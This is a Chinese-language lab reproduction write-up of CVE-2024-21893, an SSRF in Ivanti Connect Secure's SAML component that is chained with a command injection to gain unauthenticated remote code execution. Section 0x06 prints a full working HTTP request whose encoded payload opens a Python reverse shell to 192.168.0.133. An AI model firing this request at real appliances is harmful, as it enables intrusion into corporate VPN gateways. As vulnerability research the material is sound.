CVE-2024-21893 Ivanti Connect Secure SSRF to RCE

0x01 简介

Ivanti Connect Secure 为远程和移动用户提供了一个无缝的、具有成本效益的SSL VPN 解决方案,使他们能随时随地从任何可上网的设备访问企业资源。

0x02 漏洞概述

CVE-2024-21893 是存在 Ivanti Connect Secure SAML 组件中的 SSRF 漏洞,该漏洞主要是由于使用存在漏洞第三方库,并且第三方库没有及时的更新导致的,可以绕过 CVE-2024-21887 命令注入漏洞的补丁,达到未授权 RCE 的目的。

CVE-2024-21887 具体分析可以查看 dnslaoge 师傅的分析,总结一下就是 /api/v1/license/keys-status/ 存在命令注入。

0x03 影响版本

Ivanti Connect Secure(9.x、22.x)
Ivanti Policy Secure(9.x、22.x)
Ivanti Neurons for ZTA SAML组件(这个只能SSRF)

0x04 环境搭建

本次复现使用 Ivanti Connect Secure 22.6R2.1 (build 2487)版本并导入缓解措施 mitigation.release.20240107.1.xml。
下载虚拟机版本的 Ivanti Connect Secure,导入虚拟机中

这里需要等带一下,等待系统解压安装完成,完成安装之后按照如下配置进行初始化:

随后新建管理员

创建管理员完成

进入系统自带的 shell 界面

访问 https://ip/admin 进入后台导入 mitigation.release.20240107.1.xml 缓解措施

mitigation.release.20240107.1.xml 缓解措施主要是对 CVE-2023-46805 和 CVE-2024-21887 的缓解,该措施禁止访问存在漏洞的接口。

0x05 漏洞分析

获取 shell 可以参考这篇博客 里面提到的方法。

获取 shell 之后进入 /home/bin 目录,执行 python -m SimpleHTTPServer 8899 启动 http 服务,下载 web 和 saml-server 二进制文件,
下载之后将 web 放入 IDA 中进行分析,找到路由 /dana-ws/saml20.ws,是没有鉴权的,还有一些没有鉴权的路由如下:

接着来看对 /dana-ws/saml20.ws 路由请求的处理,

这里会匹配 /dana-ws/saml20.ws/dana-ws/saml.ws, /dana-ws/samlecp.ws 再接收到请求后由 doDispatchRequest 转发到 saml-server 中处理

saml-server 中由 createXMLObjectFromSoapMessage 函数将 soap 数据换成 xml 数据,最后由 xmltooling 库进行处理,而 xmltools 在 3.2.4 以下的版本是存在一个 SSRF 漏洞,该漏洞可以通过构造 KeyInfo 来实现 SSRF。 在本次复现的环境中使用的 xmltooling 版本为 3.2.0。

因此完整的利用链如下:

  1. 构造一个带 KeyInfo 的 SOAP 信封发送到 /dana-ws/saml20.ws
  2. 在内部由 web 服务器将请求转发到 saml-server 上,saml-server 会调用 xmltooling 库解析 xml 数据
  3. 由于 xmltooling 存在 SSRF 漏洞,伪造请求访问 http://127.0.0.1:8090/api/v1/license/keys-status/,绕过了缓解措施 mitigation.release.20240107.1.xml
  4. /api/v1/license/keys-status/ 存在命令注入,可以执行系统任意命令

0x06 漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /dana-ws/saml20.ws HTTP/1.1
Host: 192.168.0.190
Sec-Ch-Ua-Platform-Version: "13.6.4"
Sec-Ch-Ua-Mobile: ?0
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 1157

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>qwerty</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E0%2E133%22%2C8899%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
<ds:X509Data/>
</ds:KeyInfo>
<ds:Object></ds:Object>
</ds:Signature>
</soap:Body>
</soap:Envelope>

利用结果如下:

0x07 修复方式

Ivanti 已发布补丁,请及时升级版本或缓解措施

0x08 参考链接